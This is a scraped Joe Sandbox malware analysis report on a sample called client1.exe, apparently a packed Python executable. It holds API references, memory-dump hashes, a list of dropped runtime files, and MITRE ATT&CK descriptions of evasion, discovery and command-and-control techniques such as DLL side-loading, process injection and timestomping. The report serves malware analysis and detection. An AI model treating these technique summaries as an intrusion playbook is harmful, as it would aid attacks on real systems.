Download Yara Rule

APIs

_PyObject_GC_New.PYTHON311(?,?,00000000,00007FFBAA732533), ref: 00007FFBAA7325B6
PyObject_GC_Track.PYTHON311(?,?,00000000,00007FFBAA732533), ref: 00007FFBAA7325E8

Strings

3.2.0, xrefs: 00007FFBAA7325C4

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Object_$Track
String ID: 3.2.0
API String ID: 16854473-1786766648
Opcode ID: 767dd7ab98994f43239e4e329e749c2ad7475791c86a6fb4d160e6b955e6c056
Instruction ID: c304912133d6b82b575715ab2c233b7aa49df1e70af7ddfa46917f94f6248795
Opcode Fuzzy Hash: 767dd7ab98994f43239e4e329e749c2ad7475791c86a6fb4d160e6b955e6c056
Instruction Fuzzy Hash: B4E0EDA4B0BB06E5EF16AF31E45406A23ACBF18B04B4501B9CD5D02350EF3CE566C2B0

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report client1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\_MEI40522\VCRUNTIME140.dll

C:\Users\user\AppData\Local\Temp\_MEI40522\_brotli.cp311-win_amd64.pyd

C:\Users\user\AppData\Local\Temp\_MEI40522\_bz2.pyd

C:\Users\user\AppData\Local\Temp\_MEI40522\_cffi_backend.cp311-win_amd64.pyd

C:\Users\user\AppData\Local\Temp\_MEI40522\_ctypes.pyd

C:\Users\user\AppData\Local\Temp\_MEI40522\_decimal.pyd

C:\Users\user\AppData\Local\Temp\_MEI40522\_hashlib.pyd

C:\Users\user\AppData\Local\Temp\_MEI40522\_lzma.pyd

C:\Users\user\AppData\Local\Temp\_MEI40522\_queue.pyd

C:\Users\user\AppData\Local\Temp\_MEI40522\_socket.pyd

C:\Users\user\AppData\Local\Temp\_MEI40522\_ssl.pyd

C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip

C:\Users\user\AppData\Local\Temp\_MEI40522\bcrypt\_bcrypt.pyd

C:\Users\user\AppData\Local\Temp\_MEI40522\certifi\cacert.pem

C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer\md.cp311-win_amd64.pyd

C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer\md__mypyc.cp311-win_amd64.pyd

C:\Users\user\AppData\Local\Temp\_MEI40522\cryptography-43.0.0.dist-info\INSTALLER

C:\Users\user\AppData\Local\Temp\_MEI40522\cryptography-43.0.0.dist-info\METADATA

C:\Users\user\AppData\Local\Temp\_MEI40522\cryptography-43.0.0.dist-info\RECORD

Windows Analysis Report
client1.exe

Function 00007FF79F644E20 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Function 00007FF79F645D6C Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON